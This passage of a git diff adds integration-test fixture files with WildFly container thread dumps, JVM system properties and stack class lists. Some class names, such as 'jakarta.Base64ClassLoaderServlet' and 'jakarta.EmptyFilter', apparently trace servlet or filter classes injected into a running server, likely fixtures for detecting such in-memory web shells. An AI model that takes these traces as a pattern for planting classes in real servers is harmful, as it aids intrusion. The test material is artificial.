+"ServerService Thread Pool -- 66" #97 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 29" #55 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 48" #79 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 51" #82 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"management Accept" #74 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.9/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.9/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:146) + at org.jboss.xnio.nio@3.8.11.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + + +=========================================== + +StackClassNames: +com.arjuna.ats.arjuna.coordinator.TransactionReaper +com.arjuna.ats.internal.arjuna.coordinator.ReaperThread +com.arjuna.ats.internal.arjuna.coordinator.ReaperWorkerThread +com.arjuna.ats.internal.arjuna.recovery.ExpiredEntryMonitor +com.arjuna.ats.internal.arjuna.recovery.PeriodicRecovery +io.undertow.security.handlers.AbstractConfidentialityHandler +io.undertow.security.handlers.AbstractSecurityContextAssociationHandler +io.undertow.server.Connectors +io.undertow.server.HttpServerExchange$1 +io.undertow.server.handlers.PredicateHandler +io.undertow.servlet.core.ContextClassLoaderSetupAction$1 +io.undertow.servlet.core.ManagedFilter +io.undertow.servlet.core.ServletRequestContextThreadSetupAction$1 +io.undertow.servlet.handlers.FilterHandler +io.undertow.servlet.handlers.FilterHandler$FilterChainImpl +io.undertow.servlet.handlers.RedirectDirHandler +io.undertow.servlet.handlers.SendErrorPageHandler +io.undertow.servlet.handlers.ServletChain$1 +io.undertow.servlet.handlers.ServletDispatchingHandler +io.undertow.servlet.handlers.ServletHandler +io.undertow.servlet.handlers.ServletInitialHandler +io.undertow.servlet.handlers.ServletInitialHandler$1 +io.undertow.servlet.handlers.ServletInitialHandler$2 +io.undertow.servlet.handlers.security.SSLInformationAssociationHandler +io.undertow.servlet.handlers.security.ServletAuthenticationCallHandler +io.undertow.servlet.handlers.security.ServletConfidentialityConstraintHandler +io.undertow.servlet.handlers.security.ServletSecurityRoleHandler +io.undertow.servlet.spec.ServletPrintWriter +io.undertow.servlet.spec.ServletPrintWriterDelegate +jakarta.Base64ClassLoaderServlet +jakarta.EmptyFilter +org.apache.commons.LzKds.ErrorHandler +org.jboss.jca.core.connectionmanager.pool.idle.IdleRemover$IdleRemoverRunner +org.jboss.jca.core.connectionmanager.pool.validator.ConnectionValidator$ConnectionValidatorRunner +org.jboss.modules.ref.References$ReaperThread +org.jboss.threads.ContextClassLoaderSavingRunnable +org.jboss.threads.EnhancedQueueExecutor +org.jboss.threads.EnhancedQueueExecutor$ThreadBody +org.jboss.threads.JBossThread +org.wildfly.common.ref.References$ReaperThread +org.wildfly.elytron.web.undertow.server.ElytronRunAsHandler +org.wildfly.elytron.web.undertow.server.ElytronRunAsHandler$$Lambda$922/0x000000d0018f6000 +org.wildfly.elytron.web.undertow.server.servlet.CleanUpHandler +org.wildfly.extension.undertow.deployment.GlobalRequestControllerHandler +org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction +org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction$$Lambda$897/0x000000d0018b5170 +org.wildfly.extension.undertow.security.jacc.JACCContextIdHandler +org.wildfly.security.auth.server.FlexibleIdentityAssociation +org.wildfly.security.auth.server.Scoped +org.wildfly.security.auth.server.Scoped$$Lambda$923/0x000000d0018e70b0 +org.wildfly.security.auth.server.Scoped$$Lambda$924/0x000000d0018e7350 +org.xnio.XnioWorker$WorkerThreadFactory$1$1 +org.xnio.nio.WorkerThread diff --git a/integration-test/src/test/resources/infos/Wildfly9ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Wildfly9ContainerTestBasicInfo.txt new file mode 100644 index 00000000..ffb64c9f --- /dev/null +++ b/integration-test/src/test/resources/infos/Wildfly9ContainerTestBasicInfo.txt @@ -0,0 +1,1585 @@ +# Generated At 2025-08-10 15:06:41 +SystemProps: +jboss.qualified.host.name: 7d7e2d6ea7c2 +java.vendor: Oracle Corporation +logging.configuration: file:/opt/jboss/wildfly/standalone/configuration/logging.properties +jboss.modules.system.pkgs: org.jboss.byteman +org.apache.xml.security.ignoreLineBreaks: true +sun.java.launcher: SUN_STANDARD +sun.nio.ch.bugLevel: +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +javax.xml.stream.XMLInputFactory: __redirected.__XMLInputFactory +os.name: Linux +sun.boot.class.path: /usr/lib/jvm/java-1.8.0-openjdk-1.8.0.191.b12-1.el7_6.x86_64/jre/lib/resources.jar:/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.191.b12-1.el7_6.x86_64/jre/lib/rt.jar:/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.191.b12-1.el7_6.x86_64/jre/lib/sunrsasign.jar:/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.191.b12-1.el7_6.x86_64/jre/lib/jsse.jar:/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.191.b12-1.el7_6.x86_64/jre/lib/jce.jar:/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.191.b12-1.el7_6.x86_64/jre/lib/charsets.jar:/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.191.b12-1.el7_6.x86_64/jre/lib/jfr.jar:/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.191.b12-1.el7_6.x86_64/jre/classes +jboss.server.persist.config: true +java.vm.specification.vendor: Oracle Corporation +java.runtime.version: 1.8.0_191-b12 +javax.xml.stream.XMLEventFactory: __redirected.__XMLEventFactory +user.name: jboss +jboss.bind.address: 0.0.0.0 +javax.xml.stream.XMLOutputFactory: __redirected.__XMLOutputFactory +jboss.node.name: 7d7e2d6ea7c2 +[Standalone]: +javax.xml.parsers.SAXParserFactory: __redirected.__SAXParserFactory +jboss.home.dir: /opt/jboss/wildfly +user.language: en +sun.boot.library.path: /usr/lib/jvm/java-1.8.0-openjdk-1.8.0.191.b12-1.el7_6.x86_64/jre/lib/amd64 +java.version: 1.8.0_191 +java.util.logging.manager: org.jboss.logmanager.LogManager +user.timezone: UTC +java.net.preferIPv4Stack: true +sun.arch.data.model: 64 +java.endorsed.dirs: /usr/lib/jvm/java-1.8.0-openjdk-1.8.0.191.b12-1.el7_6.x86_64/jre/lib/endorsed +jboss.server.config.dir: /opt/jboss/wildfly/standalone/configuration +sun.cpu.isalist: +sun.jnu.encoding: ANSI_X3.4-1968 +file.encoding.pkg: sun.io +file.separator: / +java.specification.name: Java Platform API Specification +java.class.version: 52.0 +user.country: US +javax.xml.xpath.XPathFactory:http://java.sun.com/jaxp/xpath/dom: __redirected.__XPathFactory +java.home: /usr/lib/jvm/java-1.8.0-openjdk-1.8.0.191.b12-1.el7_6.x86_64/jre +javax.xml.parsers.DocumentBuilderFactory: __redirected.__DocumentBuilderFactory +java.vm.info: mixed mode +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +org.jboss.boot.log.file: /opt/jboss/wildfly/standalone/log/server.log +path.separator: : +java.vm.version: 25.191-b12 +java.protocol.handler.pkgs: org.jboss.net.protocol|org.jboss.vfs.protocol +java.awt.printerjob: sun.print.PSPrinterJob +jboss.modules.dir: /opt/jboss/wildfly/modules +sun.io.unicode.encoding: UnicodeLittle +jboss.server.deploy.dir: /opt/jboss/wildfly/standalone/data/content +awt.toolkit: sun.awt.X11.XToolkit +module.path: /opt/jboss/wildfly/modules +java.naming.factory.url.pkgs: org.jboss.as.naming.interfaces:org.jboss.ejb.client.naming +jboss.server.temp.dir: /opt/jboss/wildfly/standalone/tmp +user.home: /opt/jboss +java.specification.vendor: Oracle Corporation +org.xml.sax.driver: __redirected.__XMLReaderFactory +org.jboss.resolver.warning: true +java.library.path: /usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib +java.vendor.url: http://java.oracle.com/ +java.vm.vendor: Oracle Corporation +java.runtime.name: OpenJDK Runtime Environment +sun.java.command: /opt/jboss/wildfly/jboss-modules.jar -mp /opt/jboss/wildfly/modules org.jboss.as.standalone -Djboss.home.dir=/opt/jboss/wildfly -Djboss.server.base.dir=/opt/jboss/wildfly/standalone -b 0.0.0.0 +java.class.path: /opt/jboss/wildfly/jboss-modules.jar +org.jboss.security.context.ThreadLocal: true +jboss.server.log.dir: /opt/jboss/wildfly/standalone/log +java.vm.specification.name: Java Virtual Machine Specification +java.vm.specification.version: 1.8 +sun.cpu.endian: little +javax.xml.validation.SchemaFactory:http://www.w3.org/2001/XMLSchema: __redirected.__SchemaFactory +sun.os.patch.level: unknown +java.awt.headless: true +java.io.tmpdir: /tmp +java.vendor.url.bug: http://bugreport.sun.com/bugreport/ +jboss.server.data.dir: /opt/jboss/wildfly/standalone/data +os.arch: amd64 +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.ext.dirs: /usr/lib/jvm/java-1.8.0-openjdk-1.8.0.191.b12-1.el7_6.x86_64/jre/lib/ext:/usr/java/packages/lib/ext +user.dir: /opt/jboss +line.separator: + +java.vm.name: OpenJDK 64-Bit Server VM +jboss.server.base.dir: /opt/jboss/wildfly/standalone +java.security.auth.login.config: jar:file:/opt/jboss/wildfly/modules/system/layers/base/org/picketbox/main/picketbox-4.9.4.Final.jar!/auth.conf +javax.management.builder.initial: org.jboss.as.jmx.PluggableMBeanServerBuilder +javax.xml.datatype.DatatypeFactory: __redirected.__DatatypeFactory +file.encoding: ANSI_X3.4-1968 +java.specification.version: 1.8 +jboss.host.name: 7d7e2d6ea7c2 +javax.xml.transform.TransformerFactory: __redirected.__TransformerFactory +jboss.server.name: 7d7e2d6ea7c2 + +=========================================== + +ThreadStacks: +"ServerService Thread Pool -- 54" #79 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"ServerService Thread Pool -- 64" #128 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"default I/O-10" #96 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:509) + +"ServerService Thread Pool -- 31" #56 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"default I/O-14" #100 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:509) + +"ServerService Thread Pool -- 58" #123 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"ServerService Thread Pool -- 48" #73 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"default I/O-12" #98 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:509) + +"ServerService Thread Pool -- 45" #70 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"Transaction Expired Entry Monitor" #116 daemon [TIMED_WAITING] on com.arjuna.ats.internal.arjuna.recovery.ExpiredEntryMonitor@19482058 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.arjuna.ats.internal.arjuna.recovery.ExpiredEntryMonitor.run(ExpiredEntryMonitor.java:190) + +"ServerService Thread Pool -- 53" #78 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"ServerService Thread Pool -- 62" #130 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"ServerService Thread Pool -- 59" #124 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"ServerService Thread Pool -- 61" #126 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"default task-6" #135 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@370e7705 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"default I/O-8" #94 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:522) + +"ServerService Thread Pool -- 66" #131 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"Timer-1" #115 [WAITING] on java.util.TaskQueue@720cef80 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) + +"default I/O-17" #103 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:509) + +"ServerService Thread Pool -- 19" #42 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"ServerService Thread Pool -- 22" #45 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"MSC service thread 1-6" #19 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7f945000 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"Periodic Recovery" #114 [TIMED_WAITING] on java.lang.Object@43b47e74 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.arjuna.ats.internal.arjuna.recovery.PeriodicRecovery.doBackoffWait(PeriodicRecovery.java:661) + at com.arjuna.ats.internal.arjuna.recovery.PeriodicRecovery.doWorkInternal(PeriodicRecovery.java:763) + at com.arjuna.ats.internal.arjuna.recovery.PeriodicRecovery.run(PeriodicRecovery.java:375) + +"default I/O-16" #102 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:509) + +"ServerService 